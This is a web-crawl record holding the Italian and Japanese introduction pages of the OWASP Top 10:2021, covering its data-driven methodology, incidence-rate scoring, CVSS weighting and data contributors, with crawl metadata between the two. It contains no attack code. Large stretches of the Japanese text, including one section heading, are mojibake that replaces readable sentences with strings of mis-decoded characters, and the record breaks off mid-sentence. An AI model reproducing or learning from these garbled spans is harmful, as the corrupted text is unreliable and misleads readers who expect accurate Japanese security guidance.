CVSSv3, il massimo teorico era limitato a 6.0 per *Exploit* e 4.0 per *Impact*. Con la ponderazione considerata, il punteggio di Impact si è spostato più in alto, quasi un punto e mezzo in media in CVSSv3, e l'exploitability si è spostato quasi mezzo punto più in basso in media.\n\nCi sono 125k record di una CVE corrispondente a una CWE nei dati del National Vulnerability Database (NVD) estratti da OWASP Dependency Check, e ci sono 241 CWE uniche corrispondenti a un CVE. 62k corrispondenze di CWE hanno un punteggio CVSSv3, che è circa la metà della popolazione nel set di dati.\n\nPer la Top Ten 2021, abbiamo calcolato i punteggi medi di *Exploit* e *Impact* nel modo seguente. Abbiamo raggruppato tutte le CVE con punteggi CVSS per CWE e ponderato entrambi i punteggi di *Exploit* e *Impact* per la percentuale della popolazione che aveva CVSSv3 più la restante popolazione di punteggi CVSSv2 per ottenere una media complessiva. Abbiamo messo in corrispondenza queste medie alle CWE nel dataset da usare come punteggio di *Exploit* e *(Technical) Impact* per l'altra metà dell'equazione del rischio.\n\n## Perchè non utilizzare dati puramente statistici?\n\nI risultati nei dati sono principalmente limitati a ciò che possiamo testare in modo automatico. Parlate con un professionista esperto di AppSec e vi racconterà delle vulnerabilità che trova e delle tendenze che vede che non sono ancora visibili nei dati. Ci vuole tempo perché le persone sviluppino metodologie di test per certi tipi di vulnerabilità e poi ancora più tempo perché quei test siano automatizzati ed eseguiti su una vasta popolazione di applicazioni. Tutto ciò che troviamo sta guardando indietro nel passato e potrebbe mancare delle tendenze dell'ultimo anno, che non sono presenti nei dati.\n\nPertanto, prendiamo solo otto delle dieci categorie dai dati perché sono incompleti. Le altre due categorie provengono dal sondaggio della comunità Top 10. Questo permette ai professionisti in prima linea di votare per ciò che identificano come i rischi più alti che potrebbero non essere ancora visibili nei dati (e potrebbero non essere mai espressi nei dati).\n\n## Perchè tasso di incidenza anzichè frequenza?\n\nCi sono tre fonti primarie di dati. Le identifichiamo come Human-assisted Tooling (HaT), Tool-assisted Human (TaH), e Tooling grezzo.\n\nTooling e HaT generano una grande quantità di dati. Gli strumenti cercheranno vulnerabilità specifiche e tenteranno instancabilmente di trovare ogni istanza di quella vulnerabilità e genereranno un numero elevato di risultati per alcuni tipi di vulnerabilità. Guardate il Cross-Site Scripting, che è tipicamente di due tipi: o è un errore piccolo e isolato o un problema sistemico. Quando si tratta di un problema sistemico, il conteggio può essere di migliaia per una singola applicazione. Questa alta frequenza copre la maggior parte delle altre vulnerabilità trovate nei report o nei dati.\n\nTaH, d'altra parte, troverà una gamma più ampia di tipi di vulnerabilità, ma con una frequenza molto più bassa a causa dei vincoli temporali. Quando gli esseri umani testano un'applicazione e identificano problematiche come il Cross-Site Scripting, in genere trovano tre o quattro istanze e si fermano. Possono determinare una scoperta sistemica e scrivere nel report consigli per la correzione della problematica sull'intera applicazione. Non c'è bisogno (o tempo) di trovare ogni istanza.\n\nSupponiamo di prendere questi due insiemi di dati distinti e cercare di unirli ina base alla frequenza. In questo caso, i dati di Tooling e HaT sommergeranno i più accurati (ma ampi) dati TaH ed è una buona parte del motivo per cui qualcosa come Cross-Site Scripting è stato così altamente classificato in molte liste quando l'impatto è generalmente basso o moderato. È a causa dell'enorme volume di risultati. (Il Cross-Site Scripting è anche ragionevolmente facile da testare, quindi ci sono molti più test anche per questo).\n\nNel 2017, abbiamo introdotto l'uso del tasso di incidenza per dare un nuovo sguardo ai dati e fondere in modo pulito i dati di Tooling e HaT con i dati TaH. Il tasso di incidenza chiede quale percentuale della popolazione di applicazioni ha avuto almeno un'istanza di un tipo di vulnerabilità. Non ci interessa se era una tantum o sistemica. Questo è irrilevante per i nostri scopi; abbiamo solo bisogno di sapere quante applicazioni ne avevano almeno un'istanza, il che aiuta a fornire una visione più chiara dei risultati senza rischiare di inquinare i dati con risultati relativi a problematiche ad alta frequenza. Questo corrisponde a una visione legata al rischio, poiché un attaccante ha bisogno di una sola istanza di una determinata vulnerabilità per attaccare con successo un'applicazione.\n\n## Quale è il processo di raccolta e analisi dei dati?\n\nAbbiamo formalizzato il processo di raccolta dati OWASP Top 10 all'Open Security Summit del 2017. I leader di OWASP Top 10 e la comunità hanno trascorso due giorni a formalizzare un processo di raccolta dati trasparente. Per l'edizione 2021 è la seconda volta che abbiamo usato questa metodologia.\n\nRichiediamo i dati attraverso i canali dei social media a nostra disposizione, sia del progetto che di OWASP. Sulla pagina del progetto OWASP, elenchiamo quali variabili e quale struttura stiamo cercando nei dati e come inviarli. Nela pagina GitHub, abbiamo file di esempio che servono come modelli. Lavoriamo con le organizzazioni, se necessario, per aiutarle a capire la struttura e la correlazione delle relative CWE.\n\nOtteniamo dati da organizzazioni che sono aziende che svolgono test di sicurezza, piattaforme di bug bounty e organizzazioni che contribuiscono con dati di test interni. Una volta che abbiamo i dati, li carichiamo insieme ed eseguiamo un'analisi fondamentale, ovvero la corrispondenza delle CWE alle categorie di rischio. C'è una sovrapposizione tra alcune CWE, e altre sono strettamente correlati (es. vulnerabilità crittografiche). Qualsiasi decisione relativa ai dati grezzi presentati è documentata e pubblicata per essere aperti e trasparenti sul processo di normalizzazione dei dati.\n\nGuardiamo le otto categorie con i più alti tassi di incidenza per l'inclusione nella Top 10. Guardiamo anche i risultati del sondaggio della comunità Top 10 per vedere quali possono essere già presenti nei dati. I primi due voti che non sono già presenti nei dati saranno selezionati per gli altri due posti nella Top 10. Una volta che tutti e dieci sono stati selezionati, abbiamo applicato fattori generici per la sfruttabilità e l'impatto; per produrre una Top 10 2021 in un ordine basato sul rischio.\n\n## Etichette dei dati\n\nCi sono alcune etichette che sono elencati per ciascuna delle 10 categorie principali, ecco cosa significano:\n\n- CWEs corrispondenti: Il numero di CWE corrispondenti a una categoria dal team Top 10.\n- Tasso di incidenza: Il tasso di incidenza è la percentuale di applicazioni vulnerabili a quel CWE dalla popolazione testata da quella org per quell'anno.\n- Copertura (di test): La percentuale di applicazioni testate da tutte le organizzazioni per un dato CWE.\n- Sfruttabilità pesata: Il sub-score Exploit dai punteggi CVSSv2 e CVSSv3 assegnati ai CVE corrispondenti ai CWE, normalizzati e posizionati su una scala di 10 punti.\n- Impatto pesato: Il sub-score di impatto dai punteggi CVSSv2 e CVSSv3 assegnati ai CVE corrispondenti ai CWE, normalizzato e posizionato su una scala di 10 punti.\n- Occorrenze totali: Numero totale di applicazioni trovate che hanno i CWE corrispondenti ad una categoria.\n- CVE totali: Numero totale di CVE nel DB NVD che sono stati messi in corrispondenza ai CWE relativi a una categoria.\n\n## Ringraziamo chi ha contribuito con i dati\n\nLe seguenti organizzazioni (insieme ad alcuni donatori anonimi) hanno gentilmente donato i dati per oltre 500.000 applicazioni per rendere questo il più grande e completo set di dati sulla sicurezza delle applicazioni. Senza di voi, questo non sarebbe possibile.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Grazie ai nostri sponsor\n\nIl team OWASP Top 10 2021 ringrazia il supporto finanziario di Secure Code Warrior e Just Eat.", "znaku_textu": 18526, "slov": 2845, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/it/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:08", "sha256": "a1c20b0f8ab05c6e681c2f6d8dea841b5a487506ea9360709e3672cf5c2b78de", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ja/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "導入", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ja/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "導入"}, {"uroven": 2, "text": "OWASP Top 10 - 2021 へようこそ"}, {"uroven": 2, "text": "2021年版トップ10の変更点"}, {"uroven": 2, "text": "方法論"}, {"uroven": 2, "text": "カテゴリの構成について"}, {"uroven": 2, "text": "カテゴリ選定にデータがどのように使用されたか"}, {"uroven": 2, "text": "なぜ純粋な統計データだけではないのか"}, {"uroven": 2, "text": "é ťĺşŚă§ăŻăŞăă€ç™şç”ŸçŽ‡ă‚’ĺŸşćş–ă¨ă—ăŸç†ç”ą"}, {"uroven": 2, "text": "データの収集と分析のプロセスについて"}, {"uroven": 2, "text": "用語集"}, {"uroven": 2, "text": "データ提供者への謝辞"}, {"uroven": 2, "text": "スポンサーへの謝辞"}], "markdown": "# 導入\n\n## OWASP Top 10 - 2021 へようこそ\n\nOWASP トップ 10 の最新版へようこそ! OWASP トップ 10 2021年版は、グラフィックデザインが一新され、1ページのインフォグラフィックになっています。インフォグラフィックは、ホームページから入手でき、印刷することができます。\n\n今回のトップ10の作成にあたって、貴重な時間やデータを提供してくださったすべての皆さんに感謝します。皆様のご協力なくしては、OWASP トップ 10 2021年版は存在し得ません。**本当に、感謝いたします**。\n\n## 2021年版トップ10の変更点\n\n2021年版トップ10では、3つの新しいカテゴリー、4つのカテゴリーの名称とスコープの変更がありました。統合されたものもいくつかあります。\n\n- **[A01:2021-アクセス制御の不備](A01_2021-Broken_Access_Control/)** は、5位から最も深刻なWebă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăƒŞă‚šă‚Żă¸ă¨é †ä˝ă‚’ä¸Šă’ăžă—ăŸă€‚č˛˘çŒŽă•ă‚ŒăŸăƒ‡ăƒźă‚żă‹ă‚‰ă€ĺšłĺ‡ă§ăƒ†ă‚šăƒˆă•ă‚ŒăŸă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽ3.81%が1つ以上の共通脆弱性タイプ一覧(CWE)を持っており、このリスクカテゴリに該当するCWEは 318,000 äťśäťĽä¸Šĺ­˜ĺœ¨ă—ăŚă„ăŸă“ă¨ăŒă‚ă‹ă‚Šăžă—ăŸă€‚äť–ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźăŤćŻ”ăšă€ă€Œă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŽćŹ é™Ľă€ăŤă‚ăŸă‚‹34䝜ぎCWEがアプリケーション内で多く発生していました。\n- **[A02:2021-暗号化の失敗](A02_2021-Cryptographic_Failures/)** ăŻă€ă˛ă¨ă¤é †ä˝ă‚’ä¸Šă’ăŚ2位になっています。以前は、 **A3:2017-ćŠŸĺžŽăŞćƒ…ĺ ąăŽéœ˛ĺ‡ş** ă¨ĺ‘źă°ă‚ŒăŚă„ăžă—ăŸăŒă€ă“ă‚ŒăŻć šćœŹçš„ăŞĺŽŸĺ› ă¨ă„ă†ă‚ˆă‚Šĺš…ĺşƒăăżă‚‰ă‚Œă‚‹ç—‡çŠśă¨č¨€ăˆăžă™ă€‚ă“ă“ă§ăŻă€ćŠŸĺŻ†ăƒ‡ăƒźă‚żăŽćźăˆă„ă‚„ă‚ˇă‚šăƒ†ăƒ äžľĺŽłăŤĺ¤šăé–˘é€Łă™ă‚‹ă€ćš—ĺˇćŠ€čĄ“ăŤăžă¤ă‚ă‚‹ĺ¤ąć•—ăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚\n- **[A03:2021-インジェクション](A03_2021-Injection/)** は、3位に下がっています。94%のアプリケーションで何らかのインジェクションに関する問題が確認されています。最大発生率は19%、平均発生率は3.37%であり、このカテゴリにあたる33ぎCWEは、アプリケーションでの発生数が2番目に多く見られます。発生数は27万4千件でした。今回から、クロスサイトスクリプティングは、このカテゴリに含まれています。\n- **[A04:2021-安全が確認されない不安な設計](A04_2021-Insecure_Design/)** は、2021ĺš´ăŤć–°č¨­ă•ă‚ŒăŸă‚Ťăƒ†ă‚´ăƒŞăƒźă§ă€č¨­č¨ˆä¸ŠăŽćŹ é™ĽăŤé–˘ă™ă‚‹ăƒŞă‚šă‚ŻăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚ä¸€ćĽ­ç•Œă¨ă—ăŚă€ćˆ‘ă€…ăŒç´”ç˛‹ăŤă€Œă‚ˇăƒ•ăƒˆăƒŹăƒ•ăƒˆă€ă™ă‚‹ă“ă¨ă‚’ćœ›ă‚€ăŽă§ă‚ă‚Œă°ă€č„…ĺ¨ăƒ˘ăƒ‡ăƒŞăƒłă‚°ă‚„ă€ĺŽ‰ĺ…¨ăŞč¨­č¨ˆăƒ‘ă‚żăƒźăƒłă¨ĺŽŸĺ‰‡ă€ăžăŸă€ăƒŞăƒ•ă‚ĄăƒŹăƒłă‚šăƒťă‚˘ăƒźă‚­ăƒ†ă‚ŻăƒăƒŁă‚’ă‚‚ăŁă¨ĺˆŠç”¨ă—ăŚă„ăă“ă¨ăŒĺż…čŚă§ă™ă€‚ 安全が確認されない不安な設計は完璧な実装によって修正されることはありません。定義上、(つまり設計自体が問題なので)特定の攻撃に対して必要なセキュリティ対策が作られることがありえないからです。\n- **[A05:2021-セキュリティの設定ミス](A05_2021-Security_Misconfiguration/)** は、前回の6ä˝ă‹ă‚‰é †ä˝ă‚’ä¸Šă’ăžă—ăŸă€‚ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽ90%に何らかの設定ミスが見られ、インシデントの平均発生率としては4.5%、このリスクカテゴリに該当するCWEは 208,000 件以上存在していたことがわかりました。 éŤ˜ĺşŚăŞč¨­ĺŽšăŒĺŻčƒ˝ăŞă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă¸ăŽç§ťčĄŒăŒé€˛ă‚€ä¸­ă§ă€ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźăŽé †ä˝ăŒä¸ŠăŒăŁăŸă“ă¨ăŻĺ˝“ç„śă¨č¨€ăˆăžă™ă€‚äťĽĺ‰ăŽă€ **A4:2017-XML 外部エンティティ参照 (XXE)** のカテゴリーは、このカテゴリーに含まれています。\n- **[A06:2021-脆弱で古くなったコンポーネント](A06_2021-Vulnerable_and_Outdated_Components/)** は、以前は「既知の脆弱性のあるコンポーネントの使用」というタイトルでした。この問題は、Top 10コミュニティの調査では2位であり、データ分析によってトップ10に入るだけのデータもありました。このカテゴリーは2017嚴ぎ9ä˝ă‹ă‚‰é †ä˝ă‚’ä¸Šă’ăžă—ăŸă€‚ă“ă‚ŒăŻă€ăƒ†ă‚šăƒˆă‚„ăƒŞă‚šă‚ŻčŠ•äžĄăŤč‹ŚĺŠ´ă™ă‚‹ă€ă‚ˆăçŸĽă‚‰ă‚ŒăŸĺ•éĄŒă§ă™ă€‚ăžăŸă€ĺŤăžă‚Œă‚‹CWEにあたる共通脆弱性識別子 (CVE)のない、唯一のカテゴリであるため、デフォルトのエクスプロイトとインパクトの重みは5.0ă¨ă—ăŚă‚šă‚łă‚˘ăŤĺć˜ ă•ă‚ŒăŚă„ăžă™ă€‚\n- **[A07:2021-識別と認証の失敗](A07_2021-Identification_and_Authentication_Failures/)** は以前、「認証の不備」と呼ばれていましたが、この版では第2ä˝ă‹ă‚‰é †ä˝ă‚’č˝ă¨ă—ă€č­˜ĺˆĽăŽĺ¤ąć•—ăŤé–˘é€Łă™ă‚‹CWEをより多く含む意味合いのカテゴリとなっています。このカテゴリーは依然としてトップ10ăŤç¤şă™ăšăé‡čŚăŞé …ç›Žă§ă™ăŒă€ć¨™ćş–ĺŒ–ă•ă‚ŒăŸăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŽĺˆŠç”¨ăŒé€˛ă‚“ă ă“ă¨ăŒĺŠŸă‚’ĺĽă—ăŚă„ă‚‹ă‚ˆă†ă§ă™ă€‚\n- **[A08:2021-ソフトウェアとデータの整合性の不具合](A08_2021-Software_and_Data_Integrity_Failures/)** は、2021年に新設されたカテゴリーで、ソフトウェアの更新、重要なデータを、CI/CDパイプラインにおいて整合性を検証せずに見込みで進めることによる問題にフォーカスしています。共通脆弱性識別子/共通脆弱性評価システム(CVE/CVSS) のデータから最も重大な影響を受けたものの1つが、このカテゴリーの10ぎCWEにマッピングされています。 **A8:2017-安全でないデシリアライゼーション** は、このカテゴリーの一部となりました。\n- **[A09:2021-セキュリティログとモニタリングの失敗](A09_2021-Security_Logging_and_Monitoring_Failures/)** は、従来は **A10:2017-不十分なロギングとモニタリング** でしたが、Top 10コミュニティの調査(第3ä˝ďź‰ă‹ă‚‰čż˝ĺŠ ă•ă‚Œă€ĺž“ćĽăŽçŹŹ10位からランクアップしました。このカテゴリは、より多くの種類の失敗を含むように拡張されています。これは、テストが困難なものであり、かつ、CVE/CVSSăŽăƒ‡ăƒźă‚żăŤăŻă‚ăžă‚Šĺć˜ ă•ă‚ŒăŞă„ă‚‚ăŽă§ă™ă€‚ă¨ăŻă„ăˆă€ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźă§ĺ¤ąć•—ăŒčľˇăă‚‹ă¨ă€ĺŻčŚ–ć€§ă€ă‚¤ăƒłă‚ˇăƒ‡ăƒłăƒˆă‚˘ăƒŠăƒźăƒˆă€ăƒ•ă‚ŠăƒŹăƒłă‚¸ăƒƒă‚ŻăŞăŠăŤç›´ćŽĽĺ˝ąéŸżă‚’ä¸Žăˆă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚\n- **[A10:2021-サーバーサイドリクエストフォージェリ(SSRF)](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** は、Top 10コミュニティの調査(第1ä˝ďź‰ă‹ă‚‰čż˝ĺŠ ă•ă‚ŒăŸă‚‚ăŽă§ă™ă€‚čŞżćŸťăƒ‡ăƒźă‚żă‹ă‚‰ă‚ă‹ă‚‹ă“ă¨ăŻă€ă‚ˆăă‚ă‚‹ăƒ†ă‚šăƒˆă‚ˆă‚ŠĺşƒçŻ„ăŞçŻ„ĺ›˛ăŤăŠă„ăŚă€ĺ•éĄŒăŽç™şç”ŸçŽ‡ăŻćŻ”čźƒçš„ä˝Žă„ă‚‚ăŽăŽă€ĺ•éĄŒăŒčľˇăăŸĺ ´ĺˆăŽă‚¨ă‚Żă‚šăƒ—ăƒ­ă‚¤ăƒˆă¨ă‚¤ăƒłăƒ‘ă‚ŻăƒˆăŻĺšłĺ‡äťĽä¸ŠăŽă‚‚ăŽă¨ăŞă‚Šĺž—ăžă™ă€‚ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăŻă€çžć™‚ç‚šă§ăƒ‡ăƒźă‚żă¨ă—ăŚçžă‚Œă‚‹ă‚‚ăŽă§ăŻă‚ă‚Šăžă›ă‚“ă§ă—ăŸăŒă€č¤‡ć•°ăŽćĽ­ç•ŒăŽĺ°‚é–€ĺŽśăŤă‚ˆă‚Šé‡čŚă¨ăŽç¤şĺ”†ă‚’ĺž—ăŸă‚ˇăƒŠăƒŞă‚Şă¨ă—ăŚĺć˜ ă—ăŚă„ăžă™ă€‚\n\n## 方法論\n\n今回のトップ10は、これまで以上にデータを重視していますが、やみくもにデータを重視しているわけではありません。10é …ç›ŽăŽă†ăĄ8é …ç›ŽăŻćäž›ă•ă‚ŒăŸăƒ‡ăƒźă‚żă‹ă‚‰ă€2é …ç›ŽăŻTop 10ă‚łăƒŸăƒĽăƒ‹ăƒ†ă‚ŁăŽčŞżćŸťă‹ă‚‰éŤ˜ă„ăƒŹăƒ™ăƒŤă§é¸ăłăžă—ăŸă€‚ă“ă†ă™ă‚‹ă“ă¨ăŤăŻă˛ă¨ă¤ăŽć šćœŹçš„ăŞç†ç”ąăŒă‚ă‚Šăžă™ă€‚ćäž›ă•ă‚ŒăŸăƒ‡ăƒźă‚żă‚’čŚ‹ă‚‹ă“ă¨ăŻă€éŽĺŽťă‚’čŚ‹ă‚‹ă“ă¨ă‚’ć„ĺ‘łă—ăŚă„ă‚‹ă€ă¨ă„ă†ă“ă¨ă§ă™ă€‚ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăŽăƒŞă‚ľăƒźăƒăƒŁăƒźăŒć–°ă—ă„č„†ĺźąć€§ă‚„ă€ăă‚Œă‚’ăƒ†ă‚šăƒˆă™ă‚‹ć–°ă—ă„ć–šćł•ă‚’čŚ‹ă¤ă‘ă‚‹ăŽăŤăŻć™‚é–“ăŒă‹ă‹ă‚Šăžă™ă€‚ă“ă‚Œă‚‰ăŽăƒ†ă‚šăƒˆă‚’ăƒ„ăƒźăƒŤă‚„ăƒ—ăƒ­ă‚ťă‚šăŤçľ„ăżčžźă‚€ăŤăŻć™‚é–“ăŒă‹ă‹ă‚Šăžă™ă€‚ă“ă†ă—ăŸĺźąç‚šă‚’ĺşƒăç˘şĺŽŸăŤăƒ†ă‚šăƒˆă§ăă‚‹ă‚ˆă†ăŤăŞă‚‹ăžă§ăŤăŻă€ä˝•ĺš´ă‚‚ă‹ă‹ăŁăŚă—ăžă†ă“ă¨ă§ă—ă‚‡ă†ă€‚ăă“ă§ă€ăƒ‡ăƒźă‚żă§ăŻă‚ă‹ă‚‰ăŞă„ă‚ˆă†ăŞćœŹčłŞçš„ăŞĺźąç‚šăŻä˝•ă‹ă¨ă„ă†ă“ă¨ăŤă¤ă„ăŚăŻă€ćĽ­ç•ŒăŽçŹŹä¸€çˇšă§ć´ťčşă•ă‚ŒăŚă„ă‚‹ć–šă€…ăŤăŠčžăă™ă‚‹ă“ă¨ă§ăƒăƒŠăƒłă‚šă‚’ă¨ă‚‹ă€ă¨ă„ă†ă‚ă‘ă§ă™ă€‚\n\nトップ10を継続的に成熟させるために私たちが採用した、重要な変更点がいくつかあります。\n\n## カテゴリの構成について\n\n前回のOWASP Top 10からいくつかのカテゴリーが変更されています。以下に今回のカテゴリーの変更点を大まかにまとめます。\n\n前回のデータ収集活動は、約30個のCWEă‹ă‚‰ăŞă‚‹čŚĺŽšăŽă‚ľăƒ–ă‚ťăƒƒăƒˆăŤç„Śç‚šă‚’ĺ˝“ăŚă€čż˝ĺŠ ă¨ă—ăŚçžĺ ´ă§ăŽčŞżćŸťçľćžœă‚’ćą‚ă‚ăŚă„ăžă—ăŸă€‚ă“ăŽć–šćł•ă§ăŻă€çžĺ ´ăŽçľ„çš”ăŻă€ä¸ťăŤă“ăŽăƒŞă‚Żă‚¨ă‚šăƒˆă—ăŸ30ぎCWEă ă‘ăŤç„Śç‚šă‚’ĺ˝“ăŚăŚĺ ąĺ‘Šă‚’ăă‚Œă‚‹ă“ă¨ăŤăŞă‚Šă€ĺŽŸéš›ăŤčŚłĺŻŸă—ăŸCWEă‚’čż˝ĺŠ ă—ăŚăă‚Œă‚‹ă“ă¨ăŻăžă‚Œă ă¨ă„ă†ă“ă¨ăŒă‚ă‹ă‚Šăžă—ăŸă€‚ăă“ă§äťŠĺ›žăŻă€ăƒŞă‚Żă‚¨ă‚šăƒˆă™ă‚‹CWEに制限を設けずに、データを提供してもらうことにしました。ある年に(今回は2017年以降)テストしたアプリケーションの数と、テストでCWE登録されている例が1ă¤äťĽä¸ŠčŚ‹ă¤ă‹ăŁăŸă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽć•°ă‚’ĺ‡şă—ăŚăă‚Œă‚‹ă‚ˆă†äžé źă—ăžă—ăŸă€‚ă“ă‚ŒăŤă‚ˆă‚Šă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłĺ…¨ä˝“ă‚’ćŻé›†ĺ›Łă¨ă—ăŚă¨ăŁăŸä¸Šă§ă€ăă‚Œăžă‚ŒăŽCWEがどの程度蔓延しているかを把握することができます。\n\n目的を踏まえて、当該CWEăŽç™şčŚ‹é ťĺşŚăŤă¤ă„ăŚăŻç„ĄčŚ–ă—ăžă—ăŸă€‚é ťĺşŚăŻäť–ăŽçŠśćłă§ăŻĺż…čŚć€§ăŒă‚ă‚‹ă‹ă‚‚ă—ă‚Œăžă›ă‚“ăŒă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽćŻé›†ĺ›ŁăŤăŠă„ăŚăŻă€çžĺŽŸăŽč”“ĺťśçŽ‡ă‚’éš ă™ă“ă¨ăŤăŞăŁăŚă—ăžă„ăžă™ă€‚äž‹ăˆă°ă€ă‚ă‚‹ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŤă€ă‚ă‚‹ç‰šĺŽšăŽCWEの脆弱性が4例見つかることもあれば、4,000äž‹čŚ‹ă¤ă‹ă‚‹ă“ă¨ă‚‚ă‚ă‚‹ă‹ă‚‚ă—ă‚Œăžă›ă‚“ăŒă€ăăŽç™şç”Ÿé ťĺşŚăŻăƒˆăƒƒăƒ—10の計算に影響させないというわけです。こうして、データセットで分析できたCWEは約30個から約400ĺ€‹ăŤăŞă‚Šăžă—ăŸă€‚äťŠĺžŒă€ç§ăŸăĄăŻčż˝ĺŠ ăŽăƒ‡ăƒźă‚żč§Łćžă‚’čĄŒă„ă€Top 10に補足する計画です。このようにCWEの数が大幅に増えたことで、カテゴリーの構成方法を変更する必要があります。\n\nCWEのグループ化と分類に数ヶ月を費やしました。さらに数ヶ月続けることもできたかもしれませんが、どこかの時点で止めなければなりません。CWEăŤăŻă€Œć šćœŹĺŽŸĺ› ă€ă¨ă€Œç—‡çŠśă€ăŒă‚ă‚Šă€ă€Œć šćœŹĺŽŸĺ› ă€ăŤăŻă€Œćš—ĺˇăŽćŹ é™Ľă€ă‚„ă€Œč¨­ĺŽšăƒŸă‚šă€ăŞăŠăŒă‚ă‚Šă€ă€Œç—‡çŠśă€ăŤăŻă€ŒćŠŸĺŻ†ăƒ‡ăƒźă‚żăŽćźăˆă„ă€ă‚„ă€Œă‚ľăƒźăƒ“ă‚šĺŚ¨ĺŽłă€ăŞăŠăŒă‚ă‚Šăžă™ă€‚ăă“ă§ç§ăŸăĄăŻă€ĺŻčƒ˝ăŞé™ă‚Šć šćœŹçš„ăŞĺŽŸĺ› ăŤç„Śç‚šă‚’ĺ˝“ăŚă‚‹ă“ă¨ăŤă—ăžă—ăŸă€‚č­˜ĺˆĽă¨äżŽĺžŠăŽăŸă‚ăŽă‚Źă‚¤ăƒ€ăƒłă‚šă‚’ćäž›ă™ă‚‹ăŽăŤéŠă—ăŚă„ă‚‹ă‹ă‚‰ă§ă™ă€‚ă€Œç—‡çŠśă€ă§ăŻăŞăă€Œć šćœŹĺŽŸĺ› ă€ăŤç„Śç‚šă‚’ĺ˝“ăŚă‚‹ă“ă¨ăŻă€äťŠăŤĺ§‹ăžăŁăŸă‚łăƒłă‚ťăƒ—ăƒˆă§ăŻă‚ă‚Šăžă›ă‚“ă€‚ăŠăŽç‰ˆăŽTop 10ă‚‚ă€ç—‡çŠśă¨ĺŽŸĺ› ăŒćˇˇĺœ¨ă—ăŚăăžă—ăŸă€‚CWEă‚‚ăžăŸă€ă€Œç—‡çŠśă€ă¨ă€Œć šćœŹĺŽŸĺ› ă€ăŒćˇˇĺœ¨ă—ăŚă„ăžă™ă€‚ç§ăŸăĄăŻăăŽă“ă¨ă‚’ă‚ˆă‚Šć…Žé‡ăŤč€ƒăˆă€ĺ‘źăłă‹ă‘ăŚă„ăžă™ă€‚äťŠĺ›žăŽă‚Ťăƒ†ă‚´ăƒŞă”ă¨ăŤĺŤăžă‚Œă‚‹CWE数は平均19.6件で、最少で **A10:2021-サーバーサイドリクエストフォージェリ(SSRF)** ぎ1件、そして最多のものは **A04:2021-安全が確認されない不安な設計** ぎ40äťśă¨ăŞăŁăŚă„ăžă™ă€‚ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźć§‹é€ ăŽĺ¤‰ć›´ăŻăƒˆăƒŹăƒźăƒ‹ăƒłă‚°ăŤă•ă‚‰ăŞă‚‹ĺŠšćžœă‚’ă‚‚ăŸă‚‰ă—ăžă™ă€‚ăŸă¨ăˆă°äźćĽ­ăŻă€ĺˆŠç”¨ă—ăŚă„ă‚‹č¨€čŞžă‚„ăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŤă¨ăŁăŚć„ĺ‘łăŽă‚ă‚‹CWEに集中して教えることができるでしょう。\n\n## カテゴリ選定にデータがどのように使用されたか\n\n2017年では、発生率よりカテゴリーを選定して可能性を判断し、数十年の経験に基づき、*悪用のしやすさ*、*検出のしやすさ*(および *可能性*)、*技術面への影響*についてチームの議論によりランク付けしました。2021年については、可能であれば*悪用のしやすさ*と*(技術面の) 影響*のデータを使用したいと思います。\n\nOWASP Dependency Checkをダウンロードし、CVSS Exploit、およびImpactのスコアを、関連するCWEでグループ化して抽出しました。CVSSv2きはCVSSv3ă§ĺŻžĺ‡Śă•ă‚Œă‚‹ă§ă‚ă‚ă†ćŹ é™ĽăŒă‚ă‚‹ăŤă‚‚ă‹ă‹ă‚ă‚‰ăšă€ă™ăšăŚăŽCVEはCVSSv2のスコアを持っていたため、かなりの調査と労力を要しました。ですがある時点から、すべてのCVEきCVSSv3のスコアも割り当てられるようになりました。なお、CVSSv2とCVSSv3の間では、スコアの範囲と計算式が更新されています。\n\nCVSSv2 では、*悪用性* と *(技術面の) 影響* の両方が 10.0 まで可能でしたが、計算式によって *悪用性* は 60%、*影響* は 40% 